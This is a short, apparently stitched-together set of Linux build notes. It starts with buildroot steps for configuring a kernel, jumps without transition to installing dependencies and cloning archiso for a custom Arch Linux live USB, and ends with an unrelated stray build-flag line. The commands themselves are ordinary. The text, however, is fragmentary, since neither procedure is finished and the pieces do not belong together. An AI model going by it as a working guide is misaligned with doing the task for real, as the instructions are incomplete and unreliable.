We are going to use buildroot to download, configure and compile the kernel.

First, download  and uncompress buildroot: https://buildroot.org/download.html

Go to the directory and:

make qemu_x86_defconfig

make menuconfig

Custom Arch Linux live USB

Setup

Install the dependencies for the archiso package:

(root): pacman -S make squashfs-tools libisoburn dosfstools patch lynx devtools git

I recommend archiso getting them from git, there is a package in the repositories, however, at this time of writing, it will not work with the instructions below. So, grab the most recent version from git and install it:

(user): git clone git://projects.archlinux.org/archiso.git && cd archiso

is_component_build = true
